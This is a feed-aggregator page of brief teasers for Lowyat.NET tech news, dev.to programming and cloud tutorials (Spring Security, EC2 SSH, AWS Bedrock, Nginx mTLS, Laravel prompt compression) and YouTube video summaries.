The Malaysian government is officially drawing a hard line in the sand: if you’re under the age of 16, your social media days are numbered. Communications Minister Datuk Fahmi Fadzil has confirmed that starting next year, minors will be barred from creating social media accounts, effectively raising the minimum age requirement across the board. The […] The post Malaysia to bar Social Media accounts for under-16s from 2026 appeared first on Lowyat.NET.  ( 35 min )

The Toyota Vios Hybrid has been spotted in Malaysia, just months after its debut in Thailand where it is sold as the Toyota Yaris Ativ. The sighting was shared by Weng Ng in the paultan.org Automotive/Car Discussion Group on Facebook. Based on the images, the model appears to be undergoing testing, hinting at a potential […] The post Toyota Vios Hybrid Spotted Testing In Malaysia appeared first on Lowyat.NET.  ( 34 min )

X, formerly known as Twitter, has started rolling out a new “About this account” transparency feature that adds extra account information to user profiles. The update shows where an account is based, how many times its username has changed, when it originally joined the platform, and even how the user downloaded the app. According to […] The post X Rolls Out “About This Account” Feature appeared first on Lowyat.NET.  ( 34 min )

Command & Conquer Red Alert 2 launched back in 2000 and is widely considered to be one of the best RTS titles ever released, campy and cheesy cutscenes notwithstanding. Now for the good news: the game can now be played directly on your browser. The feat and privilege of being able to play Red Alert […] The post You Can Play Command & Conquer Red Alert 2 On Your Browser appeared first on Lowyat.NET.  ( 34 min )

Earlier this year, Perplexity announced its AI-powered browser, Comet. Initially only available for Perplexity Max plan subscribers, Comet was then rolled out to all users in early October. At the time, the company promised to bring the experience to mobile as well. And now, the Android version has officially arrived. Just like on other platforms, […] The post Perplexity Rolls Out Its AI-Powered Comet Browser To Android appeared first on Lowyat.NET.  ( 34 min )

Artificial Intelligence is reshaping industries, accelerating careers, and creating new opportunities every single day. Yet most developers in India are stuck in the same cycle: 👉 Watching tutorials …but not building anything real. AI for Bharat is here to break that cycle. This is your chance to join a nationwide movement designed for one purpose: Turn AI theory into real-world building. ⭐ Program Highlights at a Glance Before we dive deeper, here’s everything you need to know right away: 👥 Team Size: 1–5 Members Work solo or collaborate with a small, powerful team. 🎓 Age Requirement: 18+ Anyone above 18 can participate—students, professionals, beginners, all are welcome. 🇮🇳 India Only A movement built for Indian developers, shaping India’s AI future. 🌐 Fully …  ( 7 min )

Kirby Air Riders’ “Starlit Journey” Breakdown 8bitMusicTheory dives into the exuberant main theme of Kirby Air Riders, “Starlit Journey,” explaining how each section—intro, verse, chorus, bridge and final choruses—combines playful melodies and bright harmonies to create that signature joy. Time‐stamped segments guide you through the song’s structure and highlight the musical tricks that make it so irresistibly fun. Along with the analysis, you’ll find links to support the channel—Patreon, merch, Discord and Twitter—plus a sprinkled dose of #kirby, #nintendo and #gamemusic love for anyone who can’t get enough of 8-bit charm. Watch on YouTube  ( 6 min )

Building Domain-Specific AI Agents Through Configuration, Not Code I built a framework where you can create specialized AI agents (like a Compliance Reviewer or Travel Planner) by writing a YAML file instead of coding. Same core, infinite possibilities. Built entirely with Kiro IDE's powerful features. Want to build a compliance reviewer AI? Write hundreds of lines of code. Need a travel planning assistant? Write hundreds more lines. Want to add a customer support bot? You guessed it - more code, more complexity, more maintenance. What if you could create a new AI agent just by writing a configuration file? That's exactly what I set out to build during the Kiroween Hackathon 2025. Agent Skeleton is a configuration-driven framework for building domain-specific AI agents. The same core fra…  ( 12 min )

Everything Wrong With The Wiz in 15 Minutes (Or Less) CinemaSins is back on the yellow brick road now that Wicked is back in theaters—this time digging into the 1978 classic The Wiz to see if it’s better (or worse) than you remember, all in their trademark snarky “Everything Wrong With” style. For more sinfully fun content, hit up their website or Linktree for channels like TV Sins and Commercial Sins, fill out their poll, or support them on Patreon. You can also follow the team—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—on Twitter or Instagram, and join the party on Discord, Reddit, TikTok and more. Watch on YouTube  ( 6 min )

Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins dives into the neon-soaked world of KPop Demon Hunters, rattling off every quibble, plot hole and eyebrow-raising moment in under 16 minutes—complete with their trademark snark and “sins” tally. Along the way they plug their main site and socials (YouTube channels, Discord, Reddit, TikTok, Instagram), invite you to fill out a quick poll, and encourage adoring fans to fuel the sin machine on Patreon. Watch on YouTube  ( 6 min )

Introduction In my previous post, I covered how to integrate Google Maps and display the user’s live location. Now let’s take it one step further — by creating a location picker where users can drag a marker or move the map to select an address. This feature is perfect for checkout pages, delivery address setup, or event creation screens. We’ll continue using: npx expo install react-native-maps expo-location Optional (for reverse geocoding): npx expo install expo-location import React, { useState, useEffect } from 'react'; import { View, Text, StyleSheet } from 'react-native'; import MapView, { Marker } from 'react-native-maps'; import * as Location from 'expo-location'; export default function LocationPicker() { const [region, setRegion] = useState(null); const [address, setAddre…  ( 8 min )

When a user submits login details, Spring Security’s authentication filter intercepts the request and converts it into an Authentication object. This object is then passed to the AuthenticationManager. The AuthenticationManager decides which authentication method to use (e.g., database authentication, OAuth, LDAP, or custom logic). It forwards the request to the appropriate AuthenticationProvider. The AuthenticationProvider contains the logic for validating the user. It uses the UserDetailsService to load user information and the PasswordEncoder to verify the password. If authentication succeeds, it returns a fully authenticated Authentication object. The authentication filter receives the result. If the credentials are valid, Spring Security stores the authentication object in the SecurityContext, which is maintained in the SecurityContextHolder. For every subsequent request, Spring Security checks this context (session or JWT token) to determine whether the user is already authenticated. If the token or session is valid, the request proceeds; otherwise, the user is denied access.  ( 6 min )

Do companies usually provide their API documentation (Swagger/OpenAPI, etc.) to third-party companies, like integration providers or tools that plug into their system? If so, is it usually complete, or are parts commonly restricted?  ( 6 min )

SSH let me copy my .pem key and connect instantly, while PuTTY forced me to convert to .ppk every time SSH saved time, reduced friction, and scaled securely. This project matters because it teaches secure, real‑world cloud skills: launching EC2, using SSH with .pem keys, avoiding PuTTY conversions, and hosting a webpage. It builds automation habits, scales easily, and mirrors workflows businesses rely on daily. Step by Step on how to SSH into Ubuntu EC2 from Gitbash. Launch an EC2 Instance Log in to the AWS Management Console. Search for EC2 and open the EC2 dashboard. Click Launch Instance. Fill in the details: Name: e.g., elmaurserver. AMI (Amazon Machine Image): Choose Ubuntu Server 22.04 LTS (or Amazon Linux if you prefer). I choose Ubuntu. Instance type: Start with t2.micro (free ti…  ( 7 min )

🔗 Original article in Spanish: https://dev.to/chainiz/crea-tu-propio-chat-con-claude-en-aws-bedrock-usando-aws-cdk-guia-paso-a-paso-para-principiantes-20ag Learn how to build and deploy a serverless AI chat application powered by Claude 3.5 Sonnet (Anthropic) on AWS Bedrock, using AWS CDK (Python) — from scratch. Perfect for beginners exploring AWS, Infrastructure as Code, and generative AI development in the AWS ecosystem. In this hands-on project you will deploy: A Lambda function that invokes Claude 3.5 on AWS Bedrock A REST API built with API Gateway (/chat) A static web chat interface hosted on S3 Fully automated provisioning using AWS CDK (Python) This tutorial gives you a complete end-to-end AI application running in minutes. Make sure you have: AWS account with Bedrock model acces…  ( 8 min )

Link A lógica do fibonacci é bem simples. O número atual é resultado da soma do número anterior mais o seu anterior (n-1)+(n-2). Considerando apenas o conjunto dos números naturais, adicionamos uma regra para os números 0 e 1, cujo os seus correspondentes são eles mesmos f(0) = 0 e f(1)=1 e assim temos a sequência 0 1 1 2 3 5 ... podemos começar com então com a que representa a função matemática de Fibonacci f(n) = f(n-1) = f(n-2), a solução recursiva. Na solução recursiva vamos colocar: Nosso caso base n = 0 e n = 1 E a expressão matemática f(n) = f(n-1) = f(n-2) É uma solução simples e compreensiva, porém acredite não é a das melhores. Vamos pensar em fib(6), e realizar um teste de mesa (não vou trocar fib(1) e fib(0) por 1 e 0 no nosso teste de mesa porque não precisamos no…  ( 9 min )

Table of Contents Introduction Exception Levels: Privilege Hierarchy The Dual Stack Mechanism at EL1 Typical Execution Contexts Exception Link Register (ELR_EL1) Saved Program Status Register (SPSR_EL1) Exception Syndrome Register (ESR_EL1) Vector Base Address Register (VBAR_EL1) Current Exception Level Register (CurrentEL) GIC Components Interrupt Types and Triggering GIC to CPU Signaling Interrupt Masking Hardware-Automated Exception Entry Vector Offset Calculation This article breaks down the IRQ journey path for modern Linux on ARMv8-A, following a single interrupt through hardware exception entry, kernel assembly paths, IRQ and softirq subsystems, and finally back to user or kernel context. ARMv8-A organizes execution into four Exception Levels (EL0-EL3), with higher numbers indica…  ( 11 min )

While exploring Adobe Experience Manager's latest AI capabilities, I came across Business Agents in AEM as a Cloud Service. Here's what I learned about this interesting development in enterprise content management. Business Agents are essentially AI-powered assistants that live inside AEM as a Cloud Service. The interesting part is how Adobe has broken down different content management challenges into specialized agents rather than creating one general-purpose AI tool. What caught my attention is that these aren't just experimental features—they're production-ready tools designed to handle real enterprise workflows. Though it's worth noting they're only available for AEM as a Cloud Service and Edge Delivery Services, not the older versions. This one tackles something I've seen teams strugg…  ( 9 min )

I’ll be honest—getting noticed in today’s talent jungle feels harder than ever. You can have all the skills, certifications, weekend projects, and still end up buried in a recruiter’s inbox. I’ve been there. It’s frustrating, almost insulting sometimes. But here’s the twist: A digital CV can change your entire story. living, scrollable, clickable profile that shows who you are—not just what you’ve done. I didn’t really believe in digital CVs until a close friend proved me wrong without even trying. The Internship Story That Changed My Mind A few years ago, a friend of mine—let’s call her Riya—was applying for a marketing internship. She had no connections, no fancy degree, nothing “wow.” But she built a simple digital CV using an online portfolio builder (yep, those things do more than l…  ( 9 min )

0. Introduction TypedSql started from a very practical annoyance. Most of the time when I write “queries” in .NET, my data is already in memory. I have an array or a List. I just want to filter and project it. Sure, I can: write a foreach loop — fast, explicit, but a little noisy use LINQ — nice to read, but with iterator/delegate overhead or, in extreme cases, push everything into a database and write real SQL TypedSql explores a different route: What if we treated the C# type system itself as the query plan? Instead of: building an expression tree at runtime, and interpreting it over the data, we compile a SQL‑like string into a closed generic type that describes the whole pipeline, and then run that pipeline entirely through static methods. This post is a deep dive into how that w…  ( 21 min )

by: Bernard Borg, Submitted in partial fulfillment to Codecademy Computer Science Track - Portfolio Project: Python Terminal Utility Vinyl Tracker GitHub Repository This is a Vinyl Record Library - a Python terminal application for managing personal vinyl collections. Key Features: User authentication with login system ├── VINYL_TRACKER | ├── main.py - Entry point, login + main loop | ├── auth.py - Authentication & User Manaegement (User class user creation from csv) | ├── models.py - Data classes: User, Vinyl | ├── collection.py - CRUD operations on vinyl records | ├── search.py - All search-related logic | ├── sort_records.py - Sorting functions | ├── storage_json.py - JSON save/load | ├── storage_csv.py - CSV import/export | ├── utils.py - Helpers: clear screen, input validation, etc. | ├── user_manager.py - User creation, authentication, and management | ├── csv_handler.py - CSV import/export helpers ! Flow Diagram User Class Vinyl Class The project follows a modular structure with separate modules for different concerns: main.py - Entry point, login + main loop All data is stored in lowercase for consistency and displayed in title case to users. The application provides both single-record detailed views and multi-record summary lists for efficient browsing. Data is persisted in JSON files, one per user. CSV import/export is also supported for sharing and backups. Login Flow: Main → Login → Authenticate → Find User → Load from JSON The storage_json.py layer handles conversion between dictionaries and Vinyl objects Validation is implemented for all user inputs to ensure data integrity and quality. All validation functions follow the same pattern: NOTICE: THIS PROJECT IS NOT COMPLETE. IT IS A WORK IN PROGRESS. AUTHENTICATION IS NOT IMPLEMENTED, AS PASSWORDS ARE JUST BEING STORED IN PLAIN TEXT. THIS IS A SECURITY RISK.  ( 7 min )

The AI-Powered Second Brain: How Veltrex Labs Uses ChatGPT and Notion to Unlock Peak Productivity In today's hyper-competitive landscape, the most valuable currency is not time, but attention. Every day, executives and their teams are bombarded with an endless stream of information: market reports, internal communications, competitor analysis, and fleeting moments of inspiration. The critical insights that drive innovation are often lost in this digital noise, buried in forgotten documents or scattered across a dozen different apps. At Veltrex Labs, we see this not as an individual failing, but as a systemic challenge—one that requires an engineered solution. The concept of a "Second Brain" has emerged as a powerful methodology for taming this chaos. It’s a centralized digital system for…  ( 11 min )

The 'Slow Productivity' Revolution: Why Doing Less is the Key to Achieving More in the Age of AI The promise of Artificial Intelligence was a future of unparalleled efficiency—a world where technology would handle the mundane, freeing humanity for strategic, creative, and high-impact work. Yet, for many organizations, the reality has been the opposite. Instead of liberation, AI has often ushered in an era of hyper-acceleration, a relentless demand for more output, faster decisions, and an "always-on" culture that is leading directly to a new, insidious form of exhaustion: AI burnout. At Veltrex Labs, we stand at the intersection of technological innovation and human potential. We’ve guided countless industry leaders through digital transformation, and we’ve seen this paradox firsthand. T…  ( 11 min )

Managing cloud spending is one of the biggest challenges for modern enterprises. As applications scale, costs silently grow through unused resources, over-provisioned workloads, and inefficient storage patterns. AWS provides numerous tools and best practices to control and optimize spend—yet most organizations use only a small fraction of them. In this blog, I’m sharing the most effective AWS cost optimization techniques that I have personally implemented across real-world environments. These strategies are simple, practical, and deliver immediate results without compromising performance. 🚀 1. Migrate to Graviton Instances AWS Graviton2 and Graviton3 processors offer 20–40% better price-performance compared to traditional x86 instances. They are energy-efficient and ideal for application …  ( 8 min )

## Definindo Políticas de Conteúdo e Combatendo XSS em Aplicações Node.js A segurança de aplicações web é uma preocupação constante, e a proteção contra ataques Cross-Site Scripting (XSS) é fundamental. Uma abordagem eficaz para mitigar esses riscos é a combinação de políticas de conteúdo bem definidas e implementações robustas no servidor. As Políticas de Conteúdo (CSP) são uma camada adicional de segurança que os desenvolvedores podem adicionar às suas aplicações web. Elas fornecem controle granular sobre quais recursos (scripts, estilos, imagens, etc.) o navegador está autorizado a carregar. Isso ajuda a prevenir ataques XSS, impedindo a execução de scripts maliciosos injetados. Como Funcionam as Políticas de Conteúdo: As CSPs são definidas através de cabeçalhos HTTP (Content-Security-P…  ( 8 min )

If you have a TypeScript script (.ts file) and want to run it quickly without setting up a full build pipeline or compiling anything manually, this guide shows you how to run it in 30 seconds. Environment: I'm using WSL (Ubuntu) on Windows, but this works the same on Linux and macOS. I also assume you already have Node.js installed. mkdir my-typescript-project cd my-typescript-project npm init -y npm install --save-dev tsx tsx runs TypeScript files directly without compiling to JavaScript. npx tsx your-file.ts That's it. Let's look at a practical example. Suppose you have a JSON file exported from a Discord chat and want to convert it to Markdown. data.json: [ { "thread_id": 1, "thread_name": "Example Thread", "message_count": 2, "messages": [ { "message_…  ( 7 min )

Kirby Air Riders’ “Starlit Journey” Breakdown 8bitMusicTheory dives into Kirby Air Riders’ main theme, “Starlit Journey,” and shows why it’s pure joy from start to finish. You’ll get a timestamped tour through the upbeat intro, catchy verse, soaring chorus, playful bridge and triumphant final choruses—plus a heartfelt outro about loving music. Want more deep dives (and cool swag)? Hit up the Patreon, merch store, Discord server or follow on Twitter for all the 8bitMusicTheory goodness. Watch on YouTube  ( 6 min )

Have you ever built a Single Page Application (SPA) that feels snappy at first, but slowly turns sluggish the longer you use it? Or perhaps you’ve tried to attach cached data to a DOM element, only to realize later that you've created a massive memory leak? In the world of JavaScript performance, WeakMap and WeakSet are your secret weapons. They solve specific, complex problems regarding memory management that standard Arrays, Objects, and Maps simply cannot handle. Let's move beyond the theory and look at production scenarios where you should actually use them. To understand why we need WeakMap, we first need to understand how standard collections work. Imagine an object in memory is a balloon. strings holding that balloon down. As long as one string is tied to the balloon, it stays in me…  ( 9 min )

Se você trabalha com desenvolvimento, cedo ou tarde vai acontecer: alguma cagada no Git. Branch errado. “Meu Deus… e agora?” A boa notícia? o manual de sobrevivência de quem usa Git todos os dias: 👉 Oh Shit, Git! https://ohshitgit.com Por que esse site é tão bom? Porque ele fala exatamente a sua língua nesse momento de desespero. Ele vai direto ao ponto: "Fiz merge errado" → comando correto "Commitei no branch errado" → comando correto "Apaguei o arquivo sem querer" → comando correto "Preciso voltar atrás sem ferrar tudo" → comando correto É como ter alguém experiente te dizendo: Simples. Algumas situações que ele resolve facilmente Commit feito no lugar errado Mudanças importantes desaparecendo Reset ou revert mal feito Stash perdido Merge que virou zona Histórico bagunçado Arquivo sobrescrito sem querer Se você mexe com Git, já passou por pelo menos três desses. Por que todo dev deveria conhecer esse site? Porque erro com Git não é sinal de incompetência. O Oh Shit, Git! ajuda você a: não entrar em pânico entender o que realmente aconteceu recuperar seu trabalho aprender algo novo no processo E, principalmente: não perder horas em algo que pode ser resolvido em minutos. Vale a pena favoritar Se você nunca precisou desse site, é questão de tempo. Então salva aí: https://ohshitgit.com Depois você me agradece pela dica.  ( 7 min )

CinemaSins just dropped “Everything Wrong With The Wiz In 15 Minutes Or Less,” poking fun at every misstep, musical hiccup and costume quirk in The Wiz—just in time for Wicked’s big-screen comeback. Expect rapid-fire snark, sin counters and plenty of “how did that even make it into the movie?” moments. They’ve also thrown in all their social links (YouTube channels, Discord, Reddit, Instagram, TikTok), a sinful poll to hear your hot takes, and a Patreon shout-out if you want to keep their tiny team in business. Watch on YouTube  ( 6 min )

TL;DR CinemaSins just unleashed their signature “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” dishing out cheeky “sins” and playful jabs at the film while dropping links to their main site, YouTube channels (@TVSins, @CommercialSins, @CinemaSinsPodcastNetwork) and a quick poll so fans can chime in. The sinful squad—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—also invite you to join their Discord and Reddit communities, follow on Instagram and TikTok, grab Jeremy’s book, and maybe support the team on Patreon for more behind-the-scenes fun. Watch on YouTube  ( 6 min )

I recommend seeing first – installation of Homebrew and asdf on Ubuntu (it’s short, only 5 commands) Dart - Docs Dart - On DevDocs.io Shelf — Simple for APIs. Dart Frog — A fast, minimalistic backend framework for Dart Angel — Express-style, more complete. Serverpod — Larger, microservices-oriented. Note: Let’s not forget that the most important thing Dart has today is Flutter, although it almost needs its own section. Via APT (official repository) sudo apt update sudo apt install apt-transport-https sudo sh -c 'wget -qO- https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -' sudo sh -c 'wget -qO /etc/apt/sources.list.d/dart_stable.list https://storage.googleapis.com/dart-archive/channels/stable/release/latest/linux_packages/dart_stable.list' sudo apt update sudo apt inst…  ( 8 min )

Com o tempo, a gente aprende que sonhos e objetivos não devem ser entregues a qualquer pessoa. Alguns vão apoiar. E eu aprendi isso na prática, de uma forma muito clara. Anos atrás, eu estava em um casamento, sentado em uma mesa com quatro pessoas. investimentos para uma empresa, e naturalmente o assunto acabou puxando para a área financeira — algo que eu estudo há anos, seja renda fixa, renda variável, estratégias e tudo que envolve o crescimento do patrimônio. Das outras pessoas na mesa, duas ficaram ouvindo, curiosas. uma delas demonstrou ainda mais interesse, fazendo perguntas, querendo entender como começar a investir, como organizar o dinheiro, como montar carteira… E foi aí que aconteceu a parte mais reveladora. Eu comecei a orientar. Mas essa pessoa simplesmente… não estava nem aí.…  ( 7 min )

This article systematically breaks down the complete implementation of Nginx TCP Layer 4 port proxy and mTLS mutual encryption authentication. It covers core technical principles (TLS/mTLS mechanisms), certificate generation (root CA/server/client workflows), Nginx configuration (Stream module, SSL parameter optimization), and function verification (valid/invalid connection testing) with practical commands. It helps DevOps engineers and developers quickly build secure communication channels, addressing risks like data leakage and unauthorized access in traditional proxy architectures, suitable for encrypted proxy scenarios of TCP services such as Redis and databases. Source of the article:# NGINX Technical Practice: Configuration Guide for TCP Layer 4 Port Proxy and mTLS Mutual Encryption …  ( 13 min )

🧠 TOON for Laravel — Make LLMs Cheaper, Faster & Friendlier ✨ Compress your prompts, not your ideas! ✨ AI costs money. Every token counts. That’s why I built TOON — a Laravel package that turns heavy JSON into light, readable, reversible notation for LLMs like ChatGPT, Gemini, Claude, and Mistral. This tutorial is human-friendly, full of real examples, and easy to follow. Whether you’re a beginner or production-level developer — you’ll walk away with something useful. 🚀 Sending big chunks of JSON to LLMs = 🧨 higher costs + slower responses. TOON solves this by: 📉 Reducing token usage by 60–75% 🔁 Keeping data reversible (TOON ⇄ JSON) 👀 Staying human-readable ⚡ Fully integrated with Laravel (Facade + Commands) 💡 “AI doesn’t need verbose data — it needs clean, structured context.” …  ( 8 min )

I think I have a strange "talent" that is both a gift and a curse. I tend to see certain problems very early. I see the cracks long before they become visible to everyone else. With AI this has always been about one thing: the need to orchestrate cognition instead of trying to babysit a single model with clever prompts and brittle guardrails. While most of the field is still obsessed with "the right system prompt" and endless tweaks around one big LLM, I have spent months building something very different: OrKa, a modular cognition layer that makes AI reasoning observable, traceable, and deterministic enough to be trusted. It routes. It scores. It logs every decision. It treats reasoning as a graph, not as a black box. And this is where the frustration starts. A small group of people see i…  ( 13 min )

Testing distributed systems is hard. But what if the system you need to test has no official documentation? That's where reverse engineering comes in. The Pwnagotchi Generator started as a deep dive into understanding how opwngrid's authentication and reporting protocols work under the hood. The Pwnagotchi ecosystem relies on opwngrid to share captured WiFi handshakes across devices. But to build effective testing tools, I needed to understand: How does authentication actually work? What cryptographic signing scheme is used? How are access points reported and validated? What rate limiting or anti-abuse mechanisms exist? Can the protocol handle extreme edge cases? The only way to answer these questions was to reverse engineer the protocol itself. My first step was examining how real Pwnagot…  ( 10 min )

Merhaba arkadaşlar, ben Koray Korkmaz. Yaklaşık 1 yıl önce yayınladığım ve o günden beri sürekli güncellediğim/ geliştirdiğim arama motoru projemi sizlerle paylaşmak istiyorum: Search Online Tamamen farklı bir yaklaşımla hazırlanmış, alternatif bir arama motoru. 🔗 "https://sites.google.com/view/searchonline-search" Eğer kullanıp beğenirseniz, lütfen arkadaşlarınıza, yakınlarınıza ve sevdiklerinize paylaşarak onların da denemesini sağlayın. Aldığım her geri bildirim sayesinde Search Online’ı daha da iyi hale getirebilirim. Bir yıldır aktif olarak geliştiriyorum ve hâlâ yolun çok başındayız. Sizlerin desteğiyle çok daha geniş kitlelere ulaşıp çok daha güçlü bir arama motoru haline gelebileceğine inanıyorum. Görüş, öneri, eleştiri ya da sorunuz olursa memnuniyetle bekliyorum: technologykeycom@gmail.com Ayrıca geliştirdiğim diğer projelere de göz atmak isterseniz: https://key-com-technology.itch.io" İlginiz ve desteğiniz için şimdiden çok teşekkür ederim. Saygılarımla, İşte arama motorumdan birkaç görsel: Arayüzden Bir Kesit: Tümü Kategorisi İle Arama: Görseller Kategorisi İle Arama: Videolar Kategorisi İle Arama: Haberler Kategorisi İle Arama: Alışveriş Kategorisi İle Arama:  ( 6 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

O Angular v21 não é apenas sobre Signals e performance Zoneless; ele marca o início de uma nova era focada na Developer Experience impulsionada pela Inteligência Artificial. A peça central dessa revolução é o MCP Server, uma ferramenta que promete mudar a forma como interagimos com o framework e o CLI. Se o primeiro artigo foi o seu guia para as features imediatas (Signal Forms), este é o seu mapa para o futuro do desenvolvimento Angular, focado em arquitetura e produtividade de alto nível. Neste guia, você aprenderá: O que é o MCP Server e qual seu papel no ecossistema Angular. Como configurá-lo corretamente no seu projeto. As melhores práticas para usá-lo em cenários práticos de code generation e refatoração. 1. O Que É o MCP Server? (Managed Code Provider) O MCP Server…  ( 9 min )

When you first get into Natural Language Processing (NLP), one thing becomes obvious pretty quickly: computers are terrible at dealing with raw human language. Before a model can do anything smart—classify text, translate it, or generate answers—you have to break the messy text into pieces it can actually understand. That’s where tokenization comes in. It’s one of those steps that feels basic on the surface but quietly powers almost everything we do in NLP. Whether you're building a chatbot, training a model, or just experimenting with embeddings, tokenization shows up early and stays important. Below is a more practical, down-to-earth look at what tokenization really is and why every NLP pipeline depends on it. Think of tokenization as cutting text into bite-sized pieces. These pieces are…  ( 8 min )

Understand how the principle of "store together what is accessed together" is a game-changer for database performance and scalability. When your application needs several pieces of data at once, the fastest approach is to read them from a single location in a single call. In a document database, developers can decide what is stored together, both logically and physically. Fragmentation has never been beneficial for performance. In databases, the proximity of data — on disk, in memory or across the network — is crucial for scalability. Keeping related data together allows a single operation to fetch everything needed, reducing disk I/O, memory cache misses and network round-trips, thereby making performance more predictable. The principle “store together what is accessed together” is centra…  ( 14 min )

PropPulse PropPulse is a modern and minimal real estate web application** built with Next.js 16, Prisma,BetterAuth, and ShadCN/UI. Users can browse properties, add listings, and manage their real estate posts through a clean and fast interface. 🔗 (https://github.com/saidMounaim/prop-pulse) 🔗 (https://proppulse-next.netlify.app/) 🔐 Authentication with BetterAuth 🏡 Browse all properties with search & filters 📝 Add new property listings with images, price, location, and details 📸 Upload property images using ImageKit 🗂️ Manage your own listings (edit/delete) 💅 Beautiful UI using ShadCN/UI + Tailwind CSS 📱 Fully responsive on all screen sizes Next.js 16 Tailwind CSS ShadCN/UI TypeScript Prisma ORM BetterAuth ImageKit (image uploads) Follow these steps to run the project locally: git clone https://github.com/saidMounaim/prop-pulse.git cd prop-pulse npm install Create a .env file in the root: # Database DATABASE_URL="postgresql://..." # BetterAuth BETTER_AUTH_BASE_URL="https://proppulse-next.netlify.app" BETTER_AUTH_SECRET="your_betterauth_secret" # ImageKit IMAGEKIT_PUBLIC_KEY="your_public_key" IMAGEKIT_PRIVATE_KEY="your_private_key" IMAGEKIT_URL_ENDPOINT="https://ik.imagekit.io/your_id" npm run dev All contributions are welcome! Fork the repo, create a new branch, and submit a pull request.  ( 6 min )

Introduction In this tutorial, you'll learn how to build a fully serverless notes application using AWS services. By the end, you'll have a production-ready app with user authentication, a REST API, and a NoSQL database—all without managing a single server. What we're building: A notes app where users can create, view, and delete notes with secure authentication. Tech Stack: AWS Amplify - Frontend hosting Amazon Cognito - User authentication API Gateway - REST API endpoints AWS Lambda - Serverless functions DynamoDB - NoSQL database Prerequisites: AWS account GitHub account Basic knowledge of React/JavaScript Basic understanding of REST APIs Architecture Overview Before we dive into implementation, let's understand how these services work together:…  ( 20 min )

Vivemos em uma época em que trabalhar até a exaustão ainda é tratado como virtude. “enquanto eles descansam, eu produzo” são repetidas como se fossem um mantra do sucesso. Existe uma diferença clara entre ser comprometido e ser workaholic. desequilíbrio. A moeda mais valiosa da vida não é dinheiro — é tempo Tempo é o único recurso que não se renova. Onde foi parar o seu tempo? O trabalho é parte importante da vida, mas quando se torna o centro de tudo, ele começa a consumir o que você tem de mais precioso: O risco de apostar tudo em algo que não te pertence Muita gente entrega a alma para o emprego acreditando que receberá reconhecimento proporcional. Empresas mudam. E quem vive para trabalhar costuma descobrir, tarde demais, que deu demais para algo que não era seu — algo que não retr…  ( 8 min )

I wanted to test how well current search engines and LLM crawlers handle a very simple static site with clean metadata and no JavaScript. This is a small side experiment, not a commercial project. The idea was straightforward. If models like GPT, Claude or Perplexity pull data from crawled sources, then a minimal HTML page with structured data should be the easiest possible target. No clientside rendering, no frameworks, nothing dynamic. Just plain files that any crawler can fetch. I built a small multilingual landing page with language-specific URLs. Each version is a separate HTML file under simple paths. The structure is: Every page includes a canonical link, proper hreflang tags, and a JSON-LD block with basic Restaurant and FAQ metadata. I added a hand-written sitemap.xml and a robots.txt that explicitly allows known AI crawlers. Everything is static and served from Netlify. The live version is here: https://ai.asasushi.pl/ A few observations so far: Google discovers pages quickly but indexing takes time even when the site is clean and small Bing is slower and reacts only after explicit submissions Perplexity and some smaller crawlers hit the endpoint almost instantly Netlify language negotiation needs to be disabled because it adds a Vary header that confuses crawlers A static site without internal links is harder for engines to prioritise, so external references help a lot Multi-language setup seems stable as long as all hreflang pairs are correct I will keep monitoring how long it takes for the pages to appear in normal search results and LLM answers. The goal is to understand how much structure is actually used by current crawlers and whether static HTML is still the most reliable option. If anyone has done similar tests with LLM-oriented SEO or static structured pages, would be interested to compare results :)  ( 7 min )

Photo by Brian Cockley on Unsplash AgentCore Runtime works out of the box with Python frameworks. It also allows for deploying agents created with other languages. Using Rust to build an agent sounds like a nice excuse to explore this territory For this blog post, I would like to: deploy containerised Rust application to AgentCore Runtime define all infrastructure as code (AWS CDK in my case) test agent locally build and deploy in CI/CD pipeline (GitHub Actions) The agent itself will be simple, as I want to focus on the deployment process. The code is available IN THE REPOSITORY (on the 01-initial branch) The agent in the AgentCore Runtime is nothing but a web application that exposes two endpoints: /ping and /invocations For my project, I use the axum framework. Let's define request and…  ( 12 min )

Write cleaner prompts. Spend fewer tokens. Build smarter AI apps. Every time your Laravel app sends data to an AI model — it costs tokens. More tokens = more cost + less context. don’t know how heavy their prompt really is. That’s why TOON includes a built-in Token Estimator — a lightweight tool to quickly measure your prompt before sending it to an LLM. TOON (Token-Optimized Object Notation) is a compact, human-readable data format built for Laravel. It converts PHP arrays / JSON into an AI-friendly format that reduces token usage and improves context clarity. And now — it can also estimate the token weight of that data. TOON gives you a native, zero-dependency PHP method to estimate token usage: use Sbsaga\Toon\Facades\Toon; $prompt = Toon::convert($data); // Converts JSON/PHP array to TOON format $stats = Toon::estimateTokens($prompt); // Estimates token usage dd($stats); Example Output: { "words": 20, "chars": 182, "tokens_estimate": 19 } ✔ Spot heavy prompts instantly fully PHP native Use Case How TOON Helps Local development Measure prompt size while designing AI requests CI check Fail build if prompt > 3,000 tokens Debugging Compare JSON vs TOON format side-by-side Optimization Remove unnecessary data & observe impact LLM cost control Save real money over large requests This is an approximate estimation, not a billing-accurate tokenizer. It is model-agnostic, fast, and perfect for comparison / debugging. composer require sbsaga/toon laravel, php, ai, prompt-engineering, chatgpt, openai, ai-tooling, laravel-dev 🧠 “Compress your prompts, not your ideas.” — TOON helps you talk to AI efficiently.  ( 7 min )

